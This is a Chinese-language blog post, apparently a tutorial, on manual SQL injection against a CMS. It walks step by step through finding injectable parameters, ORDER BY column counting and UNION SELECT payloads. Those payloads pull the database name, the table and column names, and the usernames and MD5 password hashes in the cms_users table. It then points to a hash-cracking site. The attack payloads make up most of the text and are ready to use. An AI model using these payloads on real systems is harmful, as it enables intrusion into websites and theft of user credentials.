SQL注入攻击实例-CMS

手动注入

CMS

1.寻找可能存在SQL注入点的页面

GET方式
通过把参数附加在URL中进行提交
寻找如下形式的网页链接
http://www.xxx.com/**.asp?table=xx
http://www.xxx.com/**.php?id=xx
http://www.xxx.com/**.aspx?id=xx
http://www.xxx.com/**.jsp?id=xx
测试

在URL后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞

POST方式
通过把参数封装在数据包内容中进行提交
寻找存在表单元素的页面

文本框
单选按钮
复选框
文件浏览框
提交按钮

测试

在文本框输入的内容后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞

2.确认注入点类型

数字型

在URL后加入 and 1=1 能正常返回数据
在URL后加入 and 1=2 查询不到数据

字符型

在URL后加入 'and 1=1–+ 能正常返回数据
在URL后加入 'and 1=2# 查询不到数据

3.猜解当前页面中的字段总数

在URL后加 order by 3
逐步调整猜解的字段数

有数据返回则改变字段数大于3
报错则改变字段数小于3

直到测试出有数据返回的最大值

未报错:
在这里插入图片描述
报错:
在这里插入图片描述

4.猜解页面中显示的字段编号

在URL后加 and 1=2 union select 1,2,3,4,5…与到第三步测出来的最大值为止
SELECT * FROM article WHERE id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
uinon语句特点:
    要求多条查询语句的查询列数是一致的
    要求多条查询语句的查询的每一列的类型和顺序最好一致
    如果union语句中有语句出错,则执行后面的语句
    union关键字默认去重,如果使用union all可以包含重复项

在这里插入图片描述

页面中会显示相应的字段出现的位置

5.猜解当前网站数据库名称

在URL后加:
1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

在这里插入图片描述

6.猜解当前数据库中所有表的名称

在URL后面加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from information_schema.tables where table_schema=database()

在这里插入图片描述

select group_concat(table_name) from information_schema.tables where table_schema=database()
或者
select group_concat(table_name) from information_schema.tables where table_schema='cms'
    可能后端会对引号进行过滤,所以不可取

group_concat()是将分组括号里对应的字符串进行连接,如果分组括号里的参数有多行,那么就会将这多行字符串连接,每个字符串之间会有特定的符号进行分隔

7.猜解指定表中所有字段名称

在URL后加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15 from information_schema.columns where table_name='cms_users'

在这里插入图片描述

8猜解cms_users表中的具体内容

在URL后加 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,password,15 from cms_users

在这里插入图片描述

9.对猜解出的MD5内容进行处理

MD5加解密网站:https://cmd5.org/
在这里插入图片描述

问题!!!!!

正常情况下,用户名和密码只会显示数据表中的第一数据

解决方法
方法一:
在URL后加 and 1=2 union select 1,2,group_concat(username),4,5,6,7,8,9,10,11,12,13,group_concat(password),15 from cms_users

在这里插入图片描述

方法二:
在URL后加 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,password,15 from cms_users limit 1,1

在这里插入图片描述

  • 53
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值